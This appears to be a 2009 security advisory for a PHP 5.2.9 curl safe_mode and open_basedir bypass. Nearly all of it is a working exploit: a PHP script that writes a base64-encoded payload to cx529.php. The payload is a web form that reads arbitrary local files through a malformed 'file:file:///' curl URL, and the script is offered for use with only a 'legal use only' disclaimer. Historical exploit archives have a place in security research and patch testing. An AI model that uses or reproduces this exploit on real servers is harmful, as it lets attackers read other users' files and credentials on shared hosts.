PHP 5.2.9 curl safe_mode & open_basedir bypass exploit

2009.04.10
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

<?php /* CXSecurity - Security Audit Stuff PHP 5.2.9 curl safe_mode & open_basedir bypass exploit from "PHP open_basedir and safe mode" lab. for legal use only author: Maksymilian Arciemowicz cxib [a&t] cxsecurity [0.0] com */ $freiheit=fopen('./cx529.php', 'w'); fwrite($freiheit, base64_decode(" PD9waHANCi8qDQpzYWZlX21vZGUgYW5kIG9wZW5fYmFzZWRpciBCeXBhc3MgUEhQIDUuMi45 DQpieSBNYWtzeW1pbGlhbiBBcmNpZW1vd2ljeiBodHRwOi8vc2VjdXJpdHlyZWFzb24uY29t Lw0KY3hpYiBbIGEuVF0gc2VjdXJpdHlyZWFzb24gWyBkMHRdIGNvbQ0KDQpOT1RFOg0KaHR0 cDovL3NlY3VyaXR5cmVhc29uLmNvbS9hY2hpZXZlbWVudF9zZWN1cml0eWFsZXJ0LzYxDQoN CkVYUExPSVQ6DQpodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tL2FjaGlldmVtZW50X2V4cGxv aXRhbGVydC8xMA0KKi8NCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dF VFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BP U1RbJ2ZpbGUnXTsNCg0KZWNobyAnPFBSRT48UD5UaGlzIGlzIGV4cGxvaXQgZnJvbSA8YQ0K aHJlZj0iaHR0cDovL3NlY3VyaXR5cmVhc29uLmNvbS8iIHRpdGxlPSJTZWN1cml0eUF1ZGl0 Ij5TZWN1cml0eSBBdWRpdCAtIFNlY3VyaXR5UmVhc29uPC9hPiBsYWJzLg0KQXV0aG9yIDog TWFrc3ltaWxpYW4gQXJjaWVtb3dpY3oNCjxwPlNjcmlwdCBmb3IgbGVnYWwgdXNlIG9ubHku DQo8cD5QSFAgNS4yLjkgc2FmZV9tb2RlICYgb3Blbl9iYXNlZGlyIGJ5cGFzcw0KPHA+TW9y ZTogPGEgaHJlZj0iaHR0cDovL3NlY3VyaXR5cmVhc29uLmNvbS8iPlNlY3VyaXR5UmVhc29u PC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSIgYWN0aW9uPSJodHRwOi8vJy4kX1NFUlZFUlsi SFRUUF9IT1NUIl0uaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsiU0NSSVBUX04NCkFNRSJd KS4kX1NFUlZFUlsiUEhQX1NFTEYiXS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0 ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygk ZmlsZSkuJyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaGFyZHN0eWxleiIgdmFsdWU9 IlNob3ciPjwvZm9ybT4nOw0KDQoNCiRsZXZlbD0wOw0KDQppZighZmlsZV9leGlzdHMoImZp bGU6IikpDQoJbWtkaXIoImZpbGU6Iik7DQpjaGRpcigiZmlsZToiKTsNCiRsZXZlbCsrOw0K DQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291 bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJ CWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHls ZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRsZXZlbCsrOw0KCX0NCn0N Cg0Kd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOw0KDQokY2ggPSBjdXJsX2luaXQoKTsN Cg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxl KTsNCg0KZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSI0MCIgY29s cz0iMTIwIj4nOw0KDQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnku Li4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5 b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KDQplY2hvICcgPC90ZXh0YXJlYT4gPC9G T05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCg0KPz4= ")); fclose($freiheit); echo "exploit has been generated . use cx529.php file"; ?>


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